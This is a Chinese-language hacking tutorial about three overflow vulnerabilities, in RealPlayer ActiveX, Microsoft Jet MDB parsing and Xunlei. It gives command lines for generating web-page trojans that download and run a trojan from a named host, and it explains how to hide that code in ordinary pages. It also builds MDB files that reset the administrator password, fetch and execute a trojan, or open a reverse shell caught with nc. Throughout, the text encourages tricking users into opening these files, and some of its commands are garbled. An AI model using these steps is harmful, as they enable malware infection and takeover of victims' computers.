三星連珠，網(wǎng)馬大泛濫

最近網(wǎng)上木馬攻擊事件非常頻繁，幾款最常見的應(yīng)用軟件，如迅雷5、Realplay11，以及微軟的MDB數(shù)據(jù)庫，最近都暴出了溢出漏洞。利用這三個漏洞，可以制作出恐怖的溢出木馬。新一輪的網(wǎng)頁木馬與特殊木馬攻擊事件正在發(fā)生著。讓我們來看看攻擊者是如何利用這三個漏洞，讓上網(wǎng)者統(tǒng)統(tǒng)中招的!

“蒼龍”——Realplay AetiveX網(wǎng)馬

漏洞簡述

最新暴出的“RealPlayer ActiveX控件播放列表名稱棧溢出漏洞”，存在于RealPlayer11 beta及以下的版本中，只要在網(wǎng)頁中添加上溢出漏洞觸發(fā)代碼，就可以制作出攻擊威力非常大的網(wǎng)頁木馬。

漏洞網(wǎng)頁木馬制作

我們可以利用現(xiàn)成的漏洞溢出利用工具，制作RealPIayer溢出網(wǎng)頁木馬。

首先，我們應(yīng)該制作一個木馬程序。并上傳到某個網(wǎng)站空間中去。這里假設(shè)我們上傳了一個灰鴿子木馬。其鏈接地址為“http：//WWW.binghexijian.com/mumaexe”。然后下載并解壓溢出利用工具，打開命令提示符窗口，進入溢出利用工具所在的文件夾，執(zhí)行命令“realplay ActiveX 0day，exe”?？煽吹焦ぞ呃酶袷綖椋?/p>

realplay_ActiveX_C)day，exe[htmlfile]

其中參數(shù)表示要下載執(zhí)行的木馬鏈接地址，是必須指定的；[htmlfile]參數(shù)代表要生成的網(wǎng)頁木馬文件名，可以不必指定，如果不指定的話，默認(rèn)為“realplay_071122_exp.html”。我們執(zhí)行如下命令生成網(wǎng)頁木馬文件：

realplay_ActiveX_Oday.exe http：//www.binghexijian.com/muma.exe muma html

命令執(zhí)行后。在當(dāng)前文件夾下生成一個名為“muma.html”的網(wǎng)頁木馬文件。將此網(wǎng)頁文件上傳到網(wǎng)站空間中，誘騙上網(wǎng)者瀏覽，如果對方的電腦上安裝了有漏洞的RealPlayer。就會下載并運行我們指定的木馬了。

網(wǎng)頁木馬的利用

如果打開剛才生成的網(wǎng)頁木馬，將會發(fā)現(xiàn)網(wǎng)頁中顯示為空白，為了讓網(wǎng)頁木馬的執(zhí)行傳播更加隱蔽?？梢酝ㄟ^其它方式將溢出代碼加載運行。我們可用記事本打開“muma.html”文件。復(fù)制所有內(nèi)容，將其添加到任意網(wǎng)頁的源代碼中，即可在不影響原網(wǎng)頁的情況下，悄悄執(zhí)行網(wǎng)頁木馬。此外，也可以將“muma.html”文件改名為.is文件，通過網(wǎng)頁進行加載，這樣更加隱蔽，具體的方法這里就不多說明了。

防范Realplay ActiveX溢出網(wǎng)馬

Real公司已經(jīng)發(fā)布了此漏洞的補丁，使用Real Player播放器的用戶需要趕快升級。需要注意的是，如果使用的是老版本的RealOne Player、RealOnePlayer v2，或者RealPlayer 10，首先應(yīng)該升級到RealPlayer 10.5，然后在使用安全更新。也可以直接下載安裝Realplay 11正式版程序。不過許多用戶可能都不太喜歡新版本龐大的體積和界面，可以使用一個最簡單的方法網(wǎng)頁木馬——禁用Realplay ActiveX漏洞插件的運行。

“白虎”——MDB數(shù)據(jù)庫木馬

玩黑的朋友，對于MDB數(shù)據(jù)庫文件絕對不陌生。各種網(wǎng)站程序離不開MDB數(shù)據(jù)庫，日常辦公中也常用MDB數(shù)據(jù)庫文件，然而微軟最近也暴出了一個MDB溢出漏洞(Microsoft Jet Engine MDB File Parsing StackOverfIOW Vulnerability for xp 2k3)，導(dǎo)致使用Office軟件的用戶打開惡意MDB文件時，會遭受木馬攻擊。

從網(wǎng)上下載MDB溢出漏洞利用工具，解壓后在命令行下進入工具文件夾，執(zhí)行命令“mdb_r exp exe”。顯示溢出工具運行格式?？梢钥吹酱寺┒从腥N攻擊利用方式，包括遠程執(zhí)行命令、下載執(zhí)行木馬和反向連接獲得shell。下面將三種利用方式，分別進行講解。

遠程執(zhí)行命令的MDB文件

利用MDB溢出漏洞，我們可以在MDB文件中添加攻擊性的代碼，讓漏洞系統(tǒng)用戶在打開文件時自動執(zhí)行我們指定的命令，比如添加管理員用戶名、打開33892端口等，以方便遠程攻擊或入侵控制等。這里以在遠程漏洞主機上修改管理員用戶密碼為例，可在命令行下執(zhí)行如下命令：

mdb_r_exp CXC00”net user administrator 000/add”

參數(shù)中，第一個0表示攻擊Windows XP系統(tǒng)，如果要想攻擊Windows 2000或2003系統(tǒng)，則可改為1；第二個0是用于指定攻擊方式為遠程執(zhí)行命令的；雙引號中的內(nèi)容是要執(zhí)行的單條命令，這里的命令表示修改管理員密碼為“000”。命令執(zhí)行后，提示“.MDB file created!”，在當(dāng)前文件夾下會生成一個名為“009.mdb”的MDB數(shù)據(jù)庫文件，可將其改名為其它偽裝文件，如“dvbbs7.mdb”等。將文件發(fā)送給其它用戶，或通過其它方式詐騙用戶下載運行，如果對方系統(tǒng)中存在此漏洞，即會在打開文件時自動修改管理員用戶密碼了。

打造MDB木馬

使用遠程執(zhí)行命令方式進行攻擊的MDB文件。其應(yīng)用還是有很大的局限性，因此我們可以在MDB文件中進行木馬攻擊。方法也很簡單，執(zhí)行如下命令：

mdb_r_exp.exe01http：//www binghexijian.com/muma.exe

其中的參數(shù)1，表示使用遠程下載運行的攻擊方式。執(zhí)行此命令后，則會生成一個MDB木馬。當(dāng)別人打開此MDB文件時，如果系統(tǒng)中存在漏洞，則會自動下載我們指定鏈接的木馬文件，并在后臺悄悄執(zhí)行!

反彈Shell

如果對付某個已知的攻擊目標(biāo)，那么可以考慮讓對方反彈連接到本機上來，以突破防火墻與殺毒軟件等的限制?？稍诿钚邢聢?zhí)行如下命令：

mdb_r_exp.exe02192.168.1.980

其中的“192.168.1.8”是本機的IP地址，如果是在Internet上進行攻擊的話，則需要有一個公網(wǎng)的IP地址：“80”是反彈連接的端口。命令執(zhí)行后生成MDB溢出文件。然后在本地使用NC工具監(jiān)聽指定的端口，例如這里可使用“nc—I-p 80”命令，執(zhí)行后即可開始監(jiān)聽本地的80端口。將MDB文件發(fā)送給對方后，如果對方打開文件遭受溢出攻擊，那么監(jiān)聽窗口中將會反彈連接獲得一個Shell窗口。在此窗口中將可對遠程主機進行任意操作，于在本地命令窗口中進行操作沒有什么兩樣。

“朱雀”——迅雷溢出網(wǎng)頁木馬

迅雷更新?lián)Q代非常頻繁，往往有許多用戶跟不上軟件升級的步伐，而迅雷的溢出漏洞也一直不斷的爆出，這給我們進行攻擊留下了絕好的機會。迅雷Thunder5.7.4.401版本依然受到一個溢出漏洞的影響，導(dǎo)致我們可以制作溢出型的網(wǎng)頁木馬，輕松進行掛馬攻擊。

制作最新迅雷網(wǎng)頁木馬的方法與前面介紹的差不多，下載溢出利用工具。其命令格式為：“xunlei.0day exe木馬鏈接地址網(wǎng)頁木馬文件名”。執(zhí)行命令后，即可生成網(wǎng)頁木馬文件。用記事本打開后，復(fù)制所有代碼，插入到其它正常的網(wǎng)頁中后，即可實現(xiàn)掛馬攻擊了。